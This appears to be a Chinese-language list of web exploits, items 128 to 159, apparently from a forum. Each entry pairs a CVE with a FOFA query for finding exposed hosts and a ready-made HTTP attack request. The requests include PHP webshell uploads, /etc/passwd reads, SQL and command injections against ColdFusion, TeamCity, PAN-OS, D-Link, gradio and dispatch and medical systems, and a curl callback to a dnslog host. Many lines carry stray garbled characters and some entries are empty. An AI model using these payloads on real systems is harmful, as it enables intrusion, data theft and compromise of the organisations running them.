128. Adobe ColdFusion 反序列化
CVE-2023-38203
4 f  J2 F9 {5 F6 EAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
' b! G4 _' \' B; j6 FFOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
8 Z8 l$ S" V3 C; j& d- R! sFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
/ N+ u! l# \# b; v! S8 y6 B第一步，获取uuid
1 q1 C* l& Y  e' o5 jGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
- Z  I3 W) G/ @% m" TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 u; {) I# @; hAccept: */*
" ]7 ]% u% P& [9 r: J) EAccept-Encoding: gzip, deflate
; j9 ^4 O8 K9 Y, iConnection: close

4 u% T. G; n: g( g! Q. s( w
3 {8 U! n+ W( N. s( |/ H# T) X: @* r第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
9 n2 b& \. t0 S+ z: C1 b; W9 l. wAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


( J$ y; v# t. E: [, b130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
/ e" d/ e! _2 C. L8 UPOST /admin/users/upavatar.html HTTP/1.1
6 a* v! m' @3 }3 V* n" p( }Host: 127.0.0.1
+ h/ _* U- F8 J: f! bAccept: application/json, text/javascript, */*; q=0.01
' s  M5 E- d" B* A- wX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
7 o: w; B# ]3 E, xContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
# I( G6 `; ?9 O/ I) a* aAccept-Encoding: gzip, deflate
  j' }8 u' Q% j6 L, ZAccept-Language: zh-CN,zh;q=0.9
) D. k! A  q( I! J% _2 _Cookie: user_name=1; user_id=3
+ G4 z! S3 Q, jConnection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
0 z0 d) l% o& }
/ E7 k- s( A# C<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
6 ^9 @  Q4 J: R$ M& W8 s3 F- GFOFA：icon_hash="-2087517259"
( ~. ~2 `4 V, P+ c# V后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

6 P6 u) N7 C& V2 n3 M0 k132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
5 a8 m2 U/ K% f* ?+ v; WFOFA：body="Log in to TeamCity"
7 b8 S5 T- h' U  q. zPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
8 d8 N7 {' i. u8 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: n6 o6 b- ~! j0 `- ]8 E6 xAccept: */*
) n5 _1 }9 M* R  ]+ \' dContent-Type: application/json
/ P8 m8 `; f( L: L) b4 N$ L1 L" ?Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

8 [& b  ^! n7 j" L9 K- S5 X
CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
$ t0 e: P* }( e7 F/ ?* r( j/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py
. p" n) C- V6 R' {
133. H5 云商城 file.php 文件上传
7 j2 \1 ]+ v8 @) F9 o, [FOFA：body="/public/qbsp.php"
' G3 K# P- y* c8 }POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
9 X2 d9 L; _. P% JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
- u! _6 f5 E0 l& W5 e6 Z
<?php system("cat /etc/passwd");unlink(__FILE__);?>
5 v- ~' B1 S( N7 D: Y2 r------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



( E0 a# G3 B+ T4 ?8 u) x134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
( a' j" x- B& W! P% Y6 m1 N9 yNetentsec NS-ASG Application Security Gateway 6.3版本
, L8 G4 L5 D3 t1 [5 V. d( B4 tFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
6 V5 V, w. ^3 YHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
, S' w! [/ ]4 \Accept: */*
& Y) V; ^7 s/ n" AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" T& ?# B' x' b; T5 t4 hAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
8 c# a5 _( x' o# L3 LSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
$ B3 S! C9 ~" i6 @# y6 v$ WContent-Length: 263

- u- |1 `9 ]8 P9 Y( Hjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
$ `3 N1 C% r  t/ c0 P* F
5 @+ T: U: z; f+ R
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
$ w. m/ d. E9 J, mNetentsec NS-ASG Application Security Gateway 6.3版本
8 q6 `% }  X, V$ Q, B% N& ^FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
" ]( C& J9 o. @- X, I7 oHost: x.x.x.x
. i; T' B3 o+ q2 \; n/ ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ r# X* p8 x1 t+ ^& bAccept-Encoding: gzip, deflate
1 J7 D# H3 x0 z2 W% {, oAccept-Language: zh-CN,zh;q=0.9
; G  a' Z- \, s0 Y" g7 YConnection: close


- R9 U$ K+ X0 D4 M5 a9 }' @136. NextChat cors SSRF
CVE-2023-49785
& w4 S- i6 k6 E; W7 b# q/ lFOFA：title="NextChat"
1 k" Y* ~/ p, F) y' T0 P6 Z4 oGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
$ Q+ e1 b8 D: r; oHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
* H# s! L1 K8 P3 O2 V1 m% XAccept-Language: en
Accept-Encoding: gzip
- A% K* R! J0 E$ p) P6 G5 h

& G' A& Y, E! A; u, i" U' D137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
' k, [% `# i- e, [9 PFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
- `+ A: ]- S2 H+ b& I- nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- U0 d- a+ L8 AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
1 N' V3 S- O9 r$ p4 Y; XUpgrade-Insecure-Requests: 1


" G  q1 M; O" u+ E: |138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
8 Z' @  H3 k# OFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
* ?3 W  `8 @$ j0 c5 Z) SGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
% W3 |! a0 l; G9 }3 a' v4 i/ o  }Host: x.x.x.x
. i( t, ^0 h! L! O5 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& D$ D. y5 `- m, tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
* Z/ U& r2 M( AUpgrade-Insecure-Requests: 1
/ Y& ~+ l6 O! ?. o
  a; F7 h! m+ h0 V+ h( j; r
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
  _1 K5 I( T- @0 H6 D" _CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
2 A# o) O1 o8 V+ jGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! n/ I& n) @& r' O7 J/ r* e5 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# R, w. d8 F/ ~- x: |$ A  CAccept-Encoding: gzip, deflate, br
1 A/ R: @9 I4 l: z' TConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
2 s& I; e; p7 K0 a& N# TUpgrade-Insecure-Requests: 1
8 m% i) A  ~# ]6 `5 a' P! Q

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
) k  \5 T0 A1 o# xCVE-2024-2566
; {5 a8 C. E! B# ?- b) }* bFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 Y# o7 M8 K4 r8 \GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
6 B3 l/ ~, S* Q* f: gHost: x.x.x.x
3 M2 H" ^6 ?" ^. x* p7 N' g7 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
3 q$ t8 B1 p% |Cookie: authcode=h8g9
& Q* k  M" E5 _) \6 d  Y' ^Upgrade-Insecure-Requests: 1
) B/ U. i9 g# B. t3 c8 ^) _

, t( Z; y9 U6 r" h: d; `, f141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
# l/ Q1 D0 p. b( u- _9 a, e' ?! tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
/ r$ Q# X& R- \

142. CMSV6车辆监控平台系统中存在弱密码
/ A3 D: D; s# Q: ?! s1 k6 K% @; bCVE-2024-29666
FOFA：body="/808gps/"
, |: O+ q+ r) _% k$ padmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
. u6 @$ g4 d# r. v5 ]0 W1 j* FFOFA：title='AP setup' && header='netis'
9 g( g# s% I( B3 E2 [7 kPAYLOAD

7 E; [3 F& D5 C& j0 I. z144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
0 B. a2 D( a4 Jsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
* z+ {% z8 D- J) x6 Z- oConnection: close
# M, H$ h) A  T' E9 M, n( N# IAccept: */*
) {" b9 [* m" s  IAccept-Language: en
, o, \/ f  W- xAccept-Encoding: gzip
- k( w- w! G, U" f5 i, F2 W

0 Z& \; L3 j$ K, T9 x145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
2 z/ |5 n5 t5 G, s) B6 RHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
! u, b7 a( O( n: W; A- l; uConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

) E  b, I. N9 I4 b& u* C
0 E. i3 t4 |0 T* p146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
1 x4 B& r; P1 k: O! YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
) l0 N$ Z. Y# y# f( D  b8 c; H+ }4 FAccept-Encoding: gzip, deflate
3 C; E% V4 \9 B7 w/ W  W. e$ BConnection: close
) Z. c# t! L( I+ U! E

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
" U1 W+ c  f& _+ E7 xFOFA：body="RaidenMAILD"
* c: ]7 t3 i% g6 |" A4 pGET /webeditor/../../../windows/win.ini HTTP/1.1
0 D" }' Y5 r2 \. ]8 h, B- Y1 lHost: 127.0.0.1:81
+ }+ _$ y  J8 ?Cache-Control: max-age=0
1 \1 x: l5 M+ g; eConnection: close
' G* L! Z9 O  d! `) F7 O

148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
  l. h: N" @: T0 x& h0 {PAYLOAD

* K# \) x! d! Q: K' ^5 H149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

3 h& y0 o  I+ h6 P. mPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
8 M+ f+ `4 ?6 i5 I' @' N+ LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' X/ z  c2 s& _2 pAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
: R+ E& H( b( l) y. d. v8 F1 fConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

* H/ a* s. E1 J5 [1 x* {% |150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
% B1 G5 G5 B( T# p, X0 c9 aPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
( Q, L$ s! V, t1 N8 E; ?0 c( _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
# T: L5 ~5 W" W+ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ o$ L7 h+ \/ n0 f4 V. W$ S: j3 ^* eAccept-Encoding: gzip, deflate, br
; Q: e# A& j* y6 S6 f, XAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
, P/ }/ m( m* s6 D9 z! @Connection: close
. g1 ~0 |! ^7 s  lContent-Length: 339

9 ?5 M- V1 w2 @2 z# `% i{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
: H) W# l; P2 rHost: x.x.x.x
* H+ C2 y. z8 C. v: IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 P2 a4 B8 j. x4 aConnection: close
4 X* [2 h3 R& ^. uAccept-Encoding: gzip
0 v/ h& Q; B9 y  }" p4 w( q
- k6 }; {% p7 M0 P. S$ `2 W' P9 c
. h. B' F( q* H  a# H, R" a152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
2 K% S% T5 g' o  y# w" tLoadMaster <= 7.2.59.2 (GA)
5 L8 s" D" I  V7 A" m1 gLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
0 A8 T9 R, Q# s# m; V; ~+ g+ OGET /access/set?param=enableapi&value=1 HTTP/1.1
1 u4 e3 z) n! ]  p: Y% EHost: x.x.x.x
. x' O, |) v8 M( R3 L! hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
2 n6 ]) ]( n0 N' _7 q8 t1 ]Connection: close
Accept: */*
; f  R/ E& F! W2 m( [Accept-Language: en
2 Q- c" z. T  j( s4 V$ WAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
6 C7 j8 x0 B4 \1 x* r* }* y' R) DAccept-Encoding: gzip
9 {" |, t. G. |3 S8 K' G: z0 L3 Z

153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
$ k# w, `' |$ o, o! p: Z5 B6 f第一步，请求/config文件获取componets的id
. n" I6 C) Z% G! uhttp://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
4 _% `) B$ k4 r) Y. X2 bConnection: close
9 u" J1 G! E6 \; K- pContent-Length: 115
1 S. B* ~  _3 E* q9 _6 p) pContent-Type: application/json
5 n% Y: r. Q( x7 l" h2 q6 ~Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
/ Q" m* ?1 e& e9 _- Q3 f) C
, D! }6 T3 x- \8 E, Y& ~) ~, w
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
0 C. F5 g/ A% G9 d- y7 T
0 y- x0 f2 _( E  k% o; ^
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
( b: f. h3 k5 W8 xContent-Length: 106
/ J" l; \, i$ E- p. b9 ~Cache-Control: max-age=0
! R9 k+ h0 o/ B+ ?Upgrade-Insecure-Requests: 1
8 d. u' G. U  H: ~3 D+ H0 H& oOrigin: http://x.x.x.x
Content-Type: application/json
3 H1 t  U% _5 h; T# |7 y" J7 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ b  s/ _2 d! g  I; GReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
1 e0 ]% h# y( \( E, e' v  O5 n" TAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
* H+ u. o7 a, U  H2 z
$ U& I9 |# F  v' N{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
! [! s, o0 \4 D* d
+ N/ K( v9 N( G) x2 {9 Z) S
7 N+ H' g: m4 e) K* a: e* z155. 六零导航页 file.php 任意文件上传
( }/ t; b2 r7 F+ ^CVE-2024-34982
, g" h/ c9 j4 q4 A+ N- r7 u0 }! IFOFA：title=="上网导航 - LyLme Spage"
& j8 n$ Q- |7 XPOST /include/file.php HTTP/1.1
+ \3 u) X& ?" BHost: x.x.x.x
3 a- A/ S( P1 R! e+ O* G8 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& N' a/ F3 u% Q8 e" x* h5 cConnection: close
Content-Length: 232
7 z$ Z4 m# d9 C' M: GAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' c1 W- `& {0 V# ~Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
7 Y1 x2 R0 C& I/ r+ c
5 }; |( K. q3 u0 W* g-----------------------------qttl7vemrsold314zg0f
- g! M( G6 a! h7 hContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

9 s0 m$ j0 p, o5 @7 q+ q+ N) k<?php phpinfo();unlink(__FILE__);?>
  r& d8 N* A. `  i$ {* l-----------------------------qttl7vemrsold314zg0f--

$ b: k1 A: Z9 F3 [5 b. t) Y1 |7 j
2 _9 E" N5 E+ x; E0 p访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

/ z. a  @+ q# b- ?) X3 f8 q156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
1 k* L4 D8 I- ^4 {& w9 g·TBK DVR-4104
·TBK DVR-4216
5 P$ X8 b) }9 ?* N% {curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
1 i, |8 {# s& K6 s/ R

; n- q- e% U4 ~' U# u: ^7 KPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
; ?3 `, c' [4 u* kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* W/ T. I/ V  XContent-Length: 0
$ S& i2 r- y/ G; S9 qCookie: uid=1
, j) n; L) ~3 j" T; a6 Z4 AAccept-Encoding: gzip

4 ~) l( v% N9 r( a. A  ]
157. 美特CRM upload.jsp 任意文件上传
/ \% I: Q: G- X5 c; SCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
( d7 ?$ _3 U' t4 m: @7 G' rHost: x.x.x.x
# H) r& ^' Q1 E  B/ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
3 S6 r$ W* Z1 l( b, ]* x/ G8 uContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& v8 E  D% _& G. oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  z9 G8 e1 J4 ^2 d% J! M8 M0 ACache-Control: max-age=0
& d, A: l, T: d4 ]; D/ K* ~Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
0 i6 R* D% Y# }Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
2 l( s; D, a( L% H$ V0 i/ MContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
+ u; g# G/ k" T8 yContent-Disposition: form-data; name="key"

null
7 a# j- J2 j- f% M8 Q4 u------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
/ Z) u; t) D2 w+ f! q
( W! r. l* e0 }) S1 Fnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
; ]$ f9 R9 V  a& ^, lContent-Disposition: form-data; name="filetitile"
, J( v; Y# \! @9 X8 I- E5 a" I
# }" D: [0 B) x7 p  \) L  d3 Nnull
+ K7 x' Y1 ]5 j1 A4 p------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
9 D! {; C" j" c8 e2 f. m5 R' x7 {
null
------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
1 z  y, V, A  A9 t$ X0 ]" ^, r
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
5 P% ]" i' D3 i& N* {$ d8 lFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
2 {' D& M; o# j- y2 v" JHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

) B& c9 E% J! }6 g7 k% ^. tobject=displayregion&contenthistid=x\'&previewid=1


- @$ u' L4 R) h+ ^3 i159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
- |+ w- t! {% q3 ]5 vPOST /webservices/WebJobUpload.asmx HTTP/1.1
! J' C, |: `2 W2 N5 I) R. ?! J; s! }Host: x.x.x.x
; n: ]" o8 C+ i& tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
